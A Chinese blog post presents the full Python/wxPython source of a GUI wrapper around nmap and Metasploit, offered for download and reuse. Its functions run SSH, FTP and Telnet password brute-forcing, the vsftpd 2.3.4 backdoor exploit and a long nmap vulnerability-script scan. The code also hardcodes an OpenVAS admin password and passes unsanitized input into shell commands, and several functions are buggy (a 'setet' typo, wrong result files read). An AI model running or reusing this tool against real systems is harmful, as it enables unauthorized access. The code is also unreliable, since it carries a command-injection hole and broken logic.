python3 + wxpython 实现基于 metasploit 的安全扫描工具

最新推荐文章于 2024-04-30 19:29:41 发布
最新推荐文章于 2024-04-30 19:29:41 发布
阅读量1.7k 收藏 9
点赞数 4
分类专栏： python编程
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Kevinhanser/article/details/81365156
版权

python3 + wxpython 实现 基于 metasploit 的安全扫描工具

2018年8月2日17:02:00 【原创】
目录：python 编程博客 索引

1. 运行环境

最近打算使用 python3 写一个图形化的氨曲南扫描工具，主要使用 metasploit

另外我的环境使用了 wxpython 图形化模块，安装方法也很简单

pip install wxpython

wxpython 已经更新到版本 4.0 了，在这里的小软件中的环境是可以兼容使用的

系统运行环境为 kali linux 2018

代码写的仓促，实现的功能很应付，所以如果有人需要参考的话，还需要大量改动的。
本来是想用 metasploit 带的 API 接口编写的，后来发现有点复杂，没找到相关的文档，时间关系，用一天时间完成的这个代码，没有优化。

最近写毕设的同学问的有点多，我把框架图贴出来仅供参考
在这里插入图片描述在这里插入图片描述在这里插入图片描述
有代写毕业设计软件的可以在评论里翻我的联系方式，不贵。我写过的部分毕业设计在博客连接中有。

2. 功能简介

1. 读取 IP 和端口
2. 主机扫描、密码破解、漏洞扫描

  1. 主界面

    在这里插入图片描述

    主机扫描模块

    在这里插入图片描述

    密码破解模块

    在这里插入图片描述

    漏洞扫描模块

    在这里插入图片描述

    下载链接

    脚本文件下载链接

3. 程序代码

# coding:UTF-8
import wx
import os
tc1data = 0
tc2data = 0
tc3data = 0
class MultiTextFrame(wx.Frame):
    def __init__(self):
        wx.Frame.__init__(self, None, -1, u"基于Metasploit的安全评估系统",size=(500, 220))
        panel = wx.Panel(self, -1)
        font = wx.Font(12, wx.ROMAN, wx.NORMAL, wx.BOLD, False)
        font.SetPointSize(14)
        font2 = wx.Font(12, wx.ROMAN, wx.NORMAL, wx.BOLD, False)
        vbox = wx.BoxSizer(wx.VERTICAL)
        vbox.Add((-1, 20))
        hbox1 = wx.BoxSizer(wx.HORIZONTAL)
        st1 = wx.StaticText(panel, label=u'目标地址')
        st1.SetFont(font2)
        hbox1.Add(st1, flag=wx.RIGHT, border=10)
        self.tc1 = wx.TextCtrl(panel, value = "10.10.10.137",size=(100,30),style=wx.TE_MULTILINE | wx.TE_RICH2) # wx.HSCROLL 不自动换行
        self.tc1.SetFont(font2)
        hbox1.Add(self.tc1, proportion=1)
        vbox.Add(hbox1, proportion=1, flag=wx.LEFT | wx.RIGHT | wx.EXPAND, border=15)
        hbox3 = wx.BoxSizer(wx.HORIZONTAL)
        st2 = wx.StaticText(panel, label=u'目标端口')
        st2.SetFont(font2)
        hbox3.Add(st2,flag=wx.LEFT, border=10)
        self.tc2 = wx.TextCtrl(panel, value = "20-80",size=(100,30),style=wx.TE_MULTILINE | wx.TE_RICH2) # wx.HSCROLL 不自动换行
        self.tc2.SetFont(font2)
        hbox3.Add(self.tc2, proportion=1,flag=wx.LEFT, border=15)
        st3 = wx.StaticText(panel, label=u'本地端口')
        st3.SetFont(font2)
        hbox3.Add(st3,flag=wx.LEFT, border=100)
        self.tc3 = wx.TextCtrl(panel, value ="4444",size=(100,30),style=wx.TE_MULTILINE | wx.TE_RICH2 ) # wx.HSCROLL 不自动换行
        self.tc3.SetFont(font2)
        hbox3.Add(self.tc3, proportion=1,flag=wx.LEFT, border=10)
        vbox.Add(hbox3, proportion=0, flag=wx.LEFT | wx.RIGHT,border=10)
        vbox.Add(hbox3, flag=wx.ALIGN_CENTER_HORIZONTAL|wx.BOTTOM| wx.RIGHT, border=15)
        hbox5 = wx.BoxSizer(wx.HORIZONTAL)
        btn1 = wx.Button(panel, label=u'主机扫描', size=(100, 30))
        btn1.SetFont(font)
        hbox5.Add(btn1)
        btn2 = wx.Button(panel, label=u'密码破解', size=(100, 30))
        btn2.SetFont(font)
        hbox5.Add(btn2, flag=wx.LEFT | wx.BOTTOM, border=30)
        btn3 = wx.Button(panel, label=u'漏洞扫描', size=(100, 30))
        btn3.SetFont(font)
        hbox5.Add(btn3, flag=wx.LEFT | wx.BOTTOM, border=30)
        vbox.Add(hbox5, flag=wx.ALIGN_CENTER_HORIZONTAL  | wx.RIGHT, border=10)
        panel.SetSizer(vbox)
        self.Bind(wx.EVT_BUTTON, self.hostScan, btn1)
        self.Bind(wx.EVT_BUTTON, self.keyScan, btn2)
        self.Bind(wx.EVT_BUTTON, self.vulnScan, btn3)
    def hostScan(self, event):
        global tc1data
        global tc2data
        global tc3data
        tc1data = self.tc1.GetValue()
        tc2data = self.tc2.GetValue()
        tc3data = self.tc3.GetValue()
        self.frame1 = Frame1(tc1data)
        self.frame1.Show()
        return True
    def keyScan(self, event):
        global tc1data
        global tc2data
        global tc3data
        tc1data = self.tc1.GetValue()
        tc2data = self.tc2.GetValue()
        tc3data = self.tc3.GetValue()
        self.frame2 = Frame2(tc1data)
        self.frame2.Show()
        return True
    def vulnScan(self, event):
        global tc1data
        global tc2data
        global tc3data
        tc1data = self.tc1.GetValue()
        tc2data = self.tc2.GetValue()
        tc3data = self.tc3.GetValue()
        self.frame3 = Frame3(tc1data)
        self.frame3.Show()
        return True
class Frame1(wx.Frame):
    def __init__(self,tc1data,parent = None,id = -1, pos = wx.DefaultPosition,title = u"主机扫描",size=(400,200)):
        wx.Frame.__init__(self,parent,id,title,pos,(400,200))
        panel = wx.Panel(self, -1)
        font = wx.Font(9, wx.ROMAN, wx.NORMAL, wx.BOLD, False)
        fontbt = wx.Font(9, wx.ROMAN, wx.NORMAL, wx.BOLD, False)
        fontms = wx.Font(8, wx.ROMAN, wx.NORMAL, wx.NORMAL, False)
        font.SetPointSize(9)
        vbox = wx.BoxSizer(wx.VERTICAL)
        vbox.Add((-1, 5))  
        hbox3 = wx.BoxSizer(wx.HORIZONTAL)
        st2 = wx.StaticText(panel, label=u'结果')
        st2.SetFont(font)
        hbox3.Add(st2,flag=wx.RIGHT, border=10) #密文区域左空间
        self.tc2 = wx.TextCtrl(panel, size=(400,30),style=wx.TE_MULTILINE | wx.TE_RICH2 | wx.HSCROLL | wx.TE_READONLY) # wx.HSCROLL 不自动换行
        self.tc2.SetFont(fontms)
        hbox3.Add(self.tc2, proportion=1, flag=wx.EXPAND)
        vbox.Add(hbox3, proportion=1, flag=wx.LEFT | wx.RIGHT |wx.EXPAND,border=10)    #密文区域右空间
        hbox5 = wx.BoxSizer(wx.HORIZONTAL)
        btn1 = wx.Button(panel, label=u'主机扫描', size=(80, 30))
        btn1.SetFont(font)
        hbox5.Add(btn1, flag=wx.LEFT , border=15)
        btn2 = wx.Button(panel, label=u'端口扫描', size=(80, 30))
        btn2.SetFont(font)
        hbox5.Add(btn2, flag=wx.LEFT ,border=15)
        btn3 = wx.Button(panel, label=u'指纹扫描', size=(80, 30))
        btn3.SetFont(font)
        hbox5.Add(btn3, proportion=0,flag=wx.RIGHT|wx.LEFT, border=15)
        vbox.Add(hbox5, flag=wx.ALIGN_CENTER_HORIZONTAL, border=30)
        vbox.Add((-1, 15)) 
        panel.SetSizer(vbox)
        self.Bind(wx.EVT_BUTTON, self.hostScan, btn1)
        self.Bind(wx.EVT_BUTTON, self.portScan, btn2)
        self.Bind(wx.EVT_BUTTON, self.fingerScan, btn3)
    def hostScan(self, event):
        global tc1data
        global tc2data
        global tc3data
        RHOST = tc1data
        RPROT = tc2data
        LPORT = tc3data
        scan1 = 'hostscan.txt'
        os.system('nmap -sS %s -p %s> %s' % (tc1data,tc2data,scan1))
        fo = open('tcpscan.txt')
        tcpscanmsg = fo.read()
        fo.close()
        self.tc2.AppendText(tcpscanmsg)
    def portScan(self, event):
        global tc1data
        global tc2data
        global tc3data
        RHOST = tc1data
        RPROT = tc2data
        LPORT = tc3data
        scan2 = 'portscan.txt'
        os.system('nmap -sU -sS %s -p %s > %s' % (tc1data,tc2data,scan2))
        fo = open(scan2)
        tcpscanmsg = fo.read()
        fo.close()
        self.tc2.AppendText(tcpscanmsg)
    def fingerScan(self, event):
        global tc1data
        global tc2data
        global tc3data
        RHOST = tc1data
        RPROT = tc2data
        LPORT = tc3data
        scan3 = 'fingerscan.txt'
        os.system('nmap -v -A %s -p %s > %s' % (tc1data,tc2data,scan3))
        fo = open('tcpscan.txt')
        tcpscanmsg = fo.read()
        fo.close()
        self.tc2.AppendText(tcpscanmsg)
class Frame2(wx.Frame):
    def __init__(self,tc1data,parent = None,id = -1, pos = wx.DefaultPosition,title = u"密码破解",size=(400,200)):
        wx.Frame.__init__(self,parent,id,title,pos,(400,200))
        panel = wx.Panel(self, -1)
        font = wx.Font(9, wx.ROMAN, wx.NORMAL, wx.BOLD, False)
        fontbt = wx.Font(9, wx.ROMAN, wx.NORMAL, wx.BOLD, False)
        fontms = wx.Font(8, wx.ROMAN, wx.NORMAL, wx.NORMAL, False)
        font.SetPointSize(9)
        vbox = wx.BoxSizer(wx.VERTICAL)
        vbox.Add((-1, 5))  
        hbox3 = wx.BoxSizer(wx.HORIZONTAL)
        st2 = wx.StaticText(panel, label=u'结果')
        st2.SetFont(font)
        hbox3.Add(st2,flag=wx.RIGHT, border=10) 
        self.tc2 = wx.TextCtrl(panel, size=(400,30),style=wx.TE_MULTILINE | wx.TE_RICH2 | wx.HSCROLL| wx.TE_READONLY) # wx.HSCROLL 不自动换行
        self.tc2.SetFont(fontms)
        hbox3.Add(self.tc2, proportion=1, flag=wx.EXPAND)
        vbox.Add(hbox3, proportion=1, flag=wx.LEFT | wx.RIGHT |wx.EXPAND,border=10)   
        hbox5 = wx.BoxSizer(wx.HORIZONTAL)
        btn1 = wx.Button(panel, label=u'SSH', size=(80, 30))
        btn1.SetFont(font)
        hbox5.Add(btn1, flag=wx.LEFT , border=15)
        btn2 = wx.Button(panel, label=u'FTP', size=(80, 30))
        btn2.SetFont(font)
        hbox5.Add(btn2, flag=wx.LEFT ,border=15)
        btn3 = wx.Button(panel, label=u'TELNET', size=(80, 30))
        btn3.SetFont(font)
        hbox5.Add(btn3, proportion=0,flag=wx.RIGHT|wx.LEFT, border=15)
        vbox.Add(hbox5, flag=wx.ALIGN_CENTER_HORIZONTAL, border=30) 
        vbox.Add((-1, 15)) 
        panel.SetSizer(vbox)
        self.Bind(wx.EVT_BUTTON, self.sshB, btn1)
        self.Bind(wx.EVT_BUTTON, self.ftpB, btn2)
        self.Bind(wx.EVT_BUTTON, self.telnetB, btn3)
    def sshB(self, event):
        global tc1data
        global tc2data
        global tc3data
        RHOST = tc1data
        RPROT = tc2data
        resfile = 'sshBfile.rb'
        fo = open(resfile ,'w')
        res = 'use auxiliary/scanner/ssh/ssh_login \n \
            set RHOSTS %s \n \
            set STOP_ON_SUCCESS true \n \
            set USERNAME root\n \
            set PASS_FILE pass.txt \n \
            exploit \n \
            sessions -l \n \
            exit -y' % (RHOST)
        fo.write(res)
        fo.close()
        bruter1 = 'ssh_login.txt'
        os.system('msfconsole -r %s -q > %s' % (resfile,bruter1))
        fo = open(bruter1)
        tcpscanmsg = fo.read()
        fo.close()
        self.tc2.AppendText(tcpscanmsg)
    def ftpB(self, event):
        global tc1data
        global tc2data
        global tc3data
        RHOST = tc1data
        RPROT = tc2data
        LPORT = tc3data
        resfile = 'ftpBfile.rb'        
        fo = open(resfile ,'w')
        res = 'use auxiliary/scanner/ftp/ftp_login \n \
            set RHOSTS %s\n \
            set STOP_ON_SUCCESS true \n \
            set USERNAME anonymous\n \
            set PASS_FILE pass.txt \n \
            exploit \n \
            exit' % (RHOST)
        fo.write(res)
        fo.close()
        bruter1 = 'ftp_login.txt'
        os.system('msfconsole -r %s -q > %s' % (resfile,bruter1))
        fo = open(bruter1)
        tcpscanmsg = fo.read()
        fo.close()
        self.tc2.AppendText(tcpscanmsg)
    def telnetB(self, event):
        global tc1data
        global tc2data
        global tc3data
        RHOST = tc1data
        RPROT = tc2data
        LPORT = tc3data
        resfile = 'telnetBfile.rb'        
        fo = open(resfile ,'w')
        res = 'use auxiliary/scanner/telnet/telnet_login \n \
            set RHOSTS %s \n \
            setet STOP_ON_SUCCESS true \n \
            set USERNAME root\n \
            set PASS_FILE pass.txt \n \
            exploit \n \
            sessions -l \n \
            exit -y' % (RHOST)
        fo.write(res)
        fo.close()
        bruter1 = 'telnet_login.txt'
        os.system('msfconsole -r %s -q > %s' % (resfile,bruter1))
        fo = open(bruter1)
        tcpscanmsg = fo.read()
        fo.close()
        self.tc2.AppendText(tcpscanmsg)
class Frame3(wx.Frame):
    def __init__(self,tc1data,parent = None,id = -1, pos = wx.DefaultPosition,title = u"漏洞扫描",size=(400,200)):
        wx.Frame.__init__(self,parent,id,title,pos,(400,200))
        panel = wx.Panel(self, -1)
        font = wx.Font(9, wx.ROMAN, wx.NORMAL, wx.BOLD, False)
        fontbt = wx.Font(9, wx.ROMAN, wx.NORMAL, wx.BOLD, False)
        fontms = wx.Font(8, wx.ROMAN, wx.NORMAL, wx.NORMAL, False)
        font.SetPointSize(9)
        vbox = wx.BoxSizer(wx.VERTICAL)
        vbox.Add((-1, 5))  
        hbox3 = wx.BoxSizer(wx.HORIZONTAL)
        st2 = wx.StaticText(panel, label=u'漏洞')
        st2.SetFont(font)
        hbox3.Add(st2,flag=wx.RIGHT, border=10) 
        self.tc2 = wx.TextCtrl(panel, size=(400,30),style=wx.TE_MULTILINE | wx.TE_RICH2 | wx.HSCROLL| wx.TE_READONLY) # wx.HSCROLL 不自动换行
        self.tc2.SetFont(fontms)
        hbox3.Add(self.tc2, proportion=1, flag=wx.EXPAND)
        vbox.Add(hbox3, proportion=1, flag=wx.LEFT | wx.RIGHT |wx.EXPAND,border=10)    
        hbox5 = wx.BoxSizer(wx.HORIZONTAL)
        btn1 = wx.Button(panel, label=u'漏洞扫描', size=(80, 30))
        btn1.SetFont(font)
        hbox5.Add(btn1, flag=wx.LEFT , border=15)
        btn2 = wx.Button(panel, label=u'漏洞利用', size=(80, 30))
        btn2.SetFont(font)
        hbox5.Add(btn2, flag=wx.LEFT ,border=15)
        btn3 = wx.Button(panel, label=u'查看报告', size=(80, 30))
        btn3.SetFont(font)
        hbox5.Add(btn3, proportion=0,flag=wx.RIGHT|wx.LEFT, border=15)
        vbox.Add(hbox5, flag=wx.ALIGN_CENTER_HORIZONTAL, border=30) 
        vbox.Add((-1, 15))  
        panel.SetSizer(vbox)
        self.Bind(wx.EVT_BUTTON, self.vulnScan, btn1)
        self.Bind(wx.EVT_BUTTON, self.vulnExploit, btn2)
        self.Bind(wx.EVT_BUTTON, self.vulnReport, btn3)
    def vulnScan(self, event):
        global tc1data
        global tc2data
        global tc3data
        RHOST = tc1data
        RPROT = tc2data
        LPORT = tc3data
        nmap_s = 'nmap_s.log'
        os.system('nmap -sT -Pn -v --script tftp-enum.nse,teamspeak2-version.nse,afp-path-vuln.nse,ftp-vuln-cve2010-4221.nse,\
        http-huawei-hg5xx-vuln.nse,http-iis-webdav-vuln.nse,http-vmware-path-vuln.nse,http-vuln-cve2006-3392.nse,\
        http-vuln-cve2009-3960.nse,http-vuln-cve2010-0738.nse,http-vuln-cve2010-2861.nse,http-vuln-cve2011-3192.nse,\
        http-vuln-cve2011-3368.nse,http-vuln-cve2012-1823.nse,http-vuln-cve2013-0156.nse,http-vuln-cve2013-6786.nse,\
        http-vuln-cve2013-7091.nse,http-vuln-cve2014-2126.nse,http-vuln-cve2014-2127.nse,http-vuln-cve2014-2128.nse,\
        http-vuln-cve2014-2129.nse,http-vuln-cve2014-3704.nse,http-vuln-cve2014-8877.nse,http-vuln-cve2015-1427.nse,\
        http-vuln-cve2015-1635.nse,http-vuln-cve2017-1001000.nse,http-vuln-cve2017-5638.nse,\
        http-vuln-cve2017-5689.nse,http-vuln-cve2017-8917.nse,http-vuln-misfortune-cookie.nse,\
        http-vuln-wnr1000-creds.nse,mysql-vuln-cve2012-2122.nse,rdp-vuln-ms12-020.nse,rmi-vuln-classloader.nse,\
        rsa-vuln-roca.nse,samba-vuln-cve-2012-1182.nse,smb2-vuln-uptime.nse,smb-vuln-conficker.nse,\
        smb-vuln-cve2009-3103.nse,smb-vuln-cve-2017-7494.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,\
        smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse,\
        smb-vuln-regsvc-dos.nse,smtp-vuln-cve2010-4344.nse,smtp-vuln-cve2011-1720.nse,smtp-vuln-cve2\
        011-1764.nse %s > %s' % (tc1data,nmap_s))
        fo = open(nmap_s)
        tcpscanmsg = fo.read()
        fo.close()
        self.tc2.AppendText(tcpscanmsg)
        resfile = 'vulnScan.rb'
        reportID = '454ceae9-0f50-4c7a-a289-69c8bf084958'
        targetID = 'df3b1968-4b86-40b8-b415-aa9773f08980'
        fo = open(resfile ,'w')
        res = 'load openvas \n \
            openvas_connect admin password 127.0.0.1 9390 ok \n \
            openvas_task_list \n \
            openvas_report_download %s c402cc3e-b531-11e1-9163-406186ea4fc5 . report_test.txt \n \
            exit -y' % (reportID)        
        fo.write(res)
        fo.close()        
        bruter1 = 'load_openvas.txt'
        os.system('msfconsole -r %s -q > %s' % (resfile,bruter1))
        fo = open(bruter1)
        tcpscanmsg = fo.read()
        fo.close()
        self.tc2.AppendText(tcpscanmsg)
    def vulnExploit(self, event):
        global tc1data
        global tc2data
        global tc3data
        RHOST = tc1data
        RPROT = tc2data
        LPORT = tc3data
        resfile = 'vsftpd_234.rb'
        fo = open(resfile ,'w')
        res = 'use exploit/unix/ftp/vsftpd_234_backdoor\n \
            set RHOST %s \n \
            exploit -j \n \
            use auxiliary/scanner/ssh/ssh_login\n \
            set RHOSTS %s\n \
            set STOP_ON_SUCCESS true\n \
            set USERNAME root\n \
            set PASS_FILE pass.txt\n \
            exploit\n \
            exit -y' % (RHOST,RHOST)
        fo.write(res)
        fo.close()
        bruter1 = 'vulnExploit.txt'
        os.system('msfconsole -r %s -q > %s' % (resfile,bruter1))
        fo = open(bruter1)
        tcpscanmsg = fo.read()
        fo.close()
        self.tc2.AppendText(tcpscanmsg)
    def vulnReport(self, event):
        global tc1data
        global tc2data
        global tc3data
        RHOST = tc1data
        RPROT = tc2data
        LPORT = tc3data
        os.system('sed -n 34,40p report.txt > tmp.txt')
        fo = open('tmp.txt')
        reportmsg = fo.read()
        fo.close()
        self.tc2.AppendText(reportmsg)
        os.system('evince report_test.pdf')
class MyApp(wx.App):
    def __init__(self):
        wx.App.__init__(self, redirect=False, filename=r"./IO.txt")
    def OnInit(self):
        frame = MultiTextFrame()
        frame.Show(True)
        return True
def main():
    app = MyApp()
    app.MainLoop()


if __name__ == "__main__":
    main()
网络安全打工人
关注
  • 4
    点赞
  • 踩
  • 9
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
专栏目录
【python】打造一款自动扫描全网漏洞的扫描器
浪子燕青的博客
04-25 2万+
这是一款和刘老师一起写的网安类别扫描器。基本原理是由Python+Mysql搭建的扫描器，实现自动无限永久爬行采集网站链接，自动化漏洞扫描检测。目的是挂机就能实现自动化发掘敏感情报，亦或是发现网站的漏洞或者隐藏可利用的漏洞。     早在17年11月份的时候就有这个想法，可是一直没有去做，后来快到除夕前几天才正式开始整个软件工程的设计。当时的想实现的功能比较简单，就是能做到无限采集到网站使用的CM
python实现图形化界面端口扫描工具
Lee先生学IT的博客
01-27 1198
#!/usr/bin/env python -- coding: utf-8 -- import os import socket, threading from tkinter import * import time LOG_LINE_NUM = 0 class MY_GUI(): def init(self, init_window_name): self.init_window_name = init_window_name def set_init_window(self): self.i
wxPython Phoenix用户界面开发
zxwscau的博客
02-02 415
wxPython Phoenix用户界面开发
2024年Python最全python制作扫描器_python 网络扫描
最新发布
2401_84584391的博客
04-30 230
对于扫描器的实现，我们可以将扫描器所需的选项和参数作为optparse模块中的选项和参数，然后在程序中进行相应的处理。使用optparse模块，我们可以将命令行中的选项和参数解析为相应的Python变量，并在程序中进行使用。使用时，输入要扫描的目标主机IP地址、起始端口号和结束端口号，程序会对这些端口进行扫描，输出端口状态。optparse模块可以使命令行工具更加易用和灵活，同时还可以提高程序员的效率。然后在程序中通过optparse模块解析相应的选项和参数，并进行扫描操作。所以我们也可以考虑使用。
wxpython在线 安装_wxPython_Phoenix在线安装
weixin_39785814的博客
11-21 92
标签：转自：http://blog.csdn.net/xiaodong193/article/details/51920283wxpython在python 3.X下变成了wxpython ProjectPhoenix项目，其官方主页网址为https://wiki.wxpython.org/ProjectPhoenix。换句话说，若想在python 3.X版本下使用wxpython，就必须安装wx...
Python之wxPython的使用
qq_35968965的博客
08-11 2709
Python之wxPython的使用 快速入门wxPython，以及添加控件
wxpython现在出了一个新的版本来支持python3.
dantian的专栏
02-07 6706
wxpython出了一个新的版本wxpython Phoenix这个版本可以支持python3。这是一个好的消息。 wxPython Phoenix API Documentation： https://www.wxpython.org/Phoenix/docs/html/main.html
python之wxpython模块学习
qq_41345067的博客
01-27 2691
python之wxpython模块学习
wxpython笔记-（尚硅谷python基础）
qq_39551301的博客
04-18 115
【代码】wxpython笔记-（尚硅谷python基础）
python制作扫描器
qq_23347209的博客
07-06 1355
python作为一个轻量级编程语言，本系列主要是用来记录使用python作为安全工具的过程提示：以下是本篇文章正文内容，下面案例可供参考。
【python黑帽子】——（一）搭建扫描器入门介绍
Demo不是emo的博客
12-12 1万+
白帽子渗透测试python编程
kali中python版本的切换方法
09-19
今天小编就为大家分享一篇kali中python版本的切换方法，具有很好的参考价值，希望对大家有所帮助。一起跟随小编过来看看吧
Python端口扫描小工具
01-17
支持多线程快速扫描 支持网段扫描： ScanPort.py 支持自定义网段扫描： ScanPort.py 192.168.2 支持自定义子网段扫描： ScanPort.py 192.168.3.100 192.168.3.120 支持Web端口自动显示链接： C:\>ScanPort.py Scanning [192.168.200.1]-[192.168.200.254] Total 254 ip(s)... 192.168.200.1 80 web http://192.168.200.1 192.168.200.81 80 web http://192.168.200.81 192.168.200.81 443 web https://192.168.200.81 192.168.200.99 80 web http://192.168.200.99 192.168.200.99 443 web https://192.168.200.99 192.168.200.115 80 web http://192.168.200.115 192.168.200.115 443 web https://192.168.200.115 192.168.200.123 80 web http://192.168.200.123 192.168.200.123 443 web https://192.168.200.123 192.168.200.130 80 web http://192.168.200.130 192.168.200.130 443 web https://192.168.200.130 192.168.200.133 80 web http://192.168.200.133 192.168.200.133 443 web https://192.168.200.133 192.168.200.144 80 web http://192.168.200.144 192.168.200.144 443 web https://192.168.200.144 192.168.200.151 8080 web http://192.168.200.151 192.168.200.160 443 web https://192.168.200.160 192.168.200.160 80 web http://192.168.200.160 192.168.200.163 80 web http://192.168.200.163 192.168.200.163 443 web https://192.168.200.163 192.168.200.163 1080 Proxy 192.168.200.168 80 web http://192.168.200.168 192.168.200.168 443 web https://192.168.200.168 192.168.200.168 1080 Proxy 192.168.200.173 8080 web http://192.168.200.173 192.168.200.173 443 web https://192.168.200.173 192.168.200.181 80 web http://192.168.200.181 192.168.200.181 443 web https://192.168.200.181 192.168.200.180 80 web http://192.168.200.180 192.168.200.180 443 web https://192.168.200.180 192.168.200.192 80 web http://192.168.200.192 192.168.200.192 443 web https://192.168.200.192 All RUN TIME : 97.0510001183s
W13Scan 漏洞扫描器之XSS插件模块编写示例
javagty6778的博客
02-16 205
在上图中可以看到浏览器触发了XSS代码，弹出了cookie值，至此编写XSS检测插件就完成了，当然这个插件还不够完善，有兴趣的可以自己再深入研究~在编写插件之前，我们需要对框架本身的目录结构有一定了解，由于W13Scan本身的文档不是太详细，我自己整理了一下，目录结构图下所示。目录，在目录里面有29个插件，调试的时候不是太方便，我先将其他插件都删除，为了参考插件怎么编写的，我留下一个，如下图所示。本篇文章的XSS插件的编写单纯是为了学习这个框架，所以只支持GET型，了解插件的编写方法和原理即可。
Python脚本与Metasploit交互攻击
谢公子的博客
11-08 5530
Metasploit是一款强大的漏洞扫描和利用工具，编写Python脚本与Metasploit进行交互，可以自动化的扫描和利用漏洞。 相关文章：Metasploit框架的使用 在脚本中，我们首选需要利用 nmap 模块扫描目标主机是否开放了445端口，我们写了一个 findTarget() 函数，来扫描给定ip或者给定网段中开放了目标端口的主机，返回开放了445端口的主机列表。445端口是作为...
Py之wxPython：wxPython的简介、安装、使用方法之详细攻略
热门推荐
近期请国内外头部出版社可尽快私信博主！——心比天高，仗剑走天涯，保持热爱，奔赴向梦想！低调，谦虚，自律，反思，成长，还算是比较正能量的博主，公益免费传播……内心特别想在AI界做出一些可以推进历史进程影响力的东西(兴趣使然，有点小情怀，也有点使命感呀)…
12-24 1万+
wxPython是Python编程语言的跨平台GUI工具包。它允许Python程序员创建具有健壮、功能强大的图形用户界面的程序，而且简单、容易。它是作为一组Python扩展模块实现的，这些模块封装了流行的wxWidgets跨平台库的GUI组件，该库是用c++编写的。由于编程语言是Python, wxPython程序很简单，易于编写和理解。像Python和wxWidgets一样，wxPython是开源的，这意味着任何人都可以免费使用它，源代码也可以供任何人查看和修改。
wxPython Phoenix 和python3.4的编程学习
dantian的专栏
02-04 3135
开始学习wxPython Phoenix 和python3.4的编程。做一些记录。以便后不会忘记。首先遇到的问题就是版本问题。要在python3上使用wxpython还是需要一些设置和安装。 我的测试是在Windows上做的，说实在的Windows上的搭建一个环境是很蛋疼的事情。不过总是有解决方案。         再接着就是资料很少。有的资料也都是老旧的。测试的时候有很多坑要填起来。比较权威
wxPython_Phoenix在线安装
weixin_30919919的博客
07-31 395
转自：http://blog.csdn.net/xiaodong193/article/details/51920283 wxpython在python 3.X下变成了wxpython ProjectPhoenix项目，其官方主页网址为https://wiki.wxpython.org/ProjectPhoenix。换句话说，若想在python 3.X版本下使用wxpython，就必须安装wxp...
神奇的Python,神奇的wxPython
danscort2000的专栏
11-06 2396
写代码这么多年,先后接触过basic, c/c++,sql, 为了写android app又学了一下java,写了个客户端, 近期服务器代码移植到Linux平台后,喜欢上了Linux系统的干净简洁,比windows10好用多了,好吧,因为最初的客户端是采用MFC写的windows专用,根本没想过有一天会喜欢上Linux,要支持Linux桌面,此外还有那个Mac平台,总不能也单独用obj-c去写...
python3 wxpython
05-10
Python3和wxPython是一对非常强大、灵活和易用的技术组合。Python3是一种高级编程语言，有许多优秀的特性，包括代码简洁、易读、易维护、强类型支持、面向对象编程等，被广泛用于Web应用程序、人工智能、科学计算等领域。wxPython是一个开源的Python界面工具包，它允许开发者使用Python编写桌面应用程序，并提供了丰富的构建工具、图像控件、数据输入输出等。 Python3与wxPython结合使用的主要好处是开发速度非常快、效率非常高。开发者可以使用Python编写桌面应用程序，然后使用wxPython提供的丰富的构建工具，轻松地在应用程序中增加各种控件，例如文本框、按钮、复选框、单选框、列表框等。此外，wxPython还可以实现许多高级功能，例如进度条、对话框、菜单、工具栏等。 此外，使用Python3和wxPython还有其他一些好处。它们不需要太多的系统资源，通常可以在较旧的计算机上运行。它们支持跨平台，可以在Windows、Mac和Linux等不同的操作系统上运行。这些特性使Python3和wxPython成为构建桌面应用程序的首选工具组合。 最后，Python3和wxPython还存在一些缺点。例如，使用Python编写的应用程序通常比编写C ++或Java等更慢。此外，Python3和wxPython有着复杂的语法和调试等困难。支持库是稀缺的，所以开发者可能需要在自己的项目中编写大量代码。 总之，Python3和wxPython是一对非常强大、高效、易用的工具组合，被广泛使用于桌面应用程序开发、Web开发、人工智能、科学计算等领域。虽然存在一些缺点，但是它们的优点远大于缺点，因此它们非常适合初学者和专业开发者使用。
评论 6
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值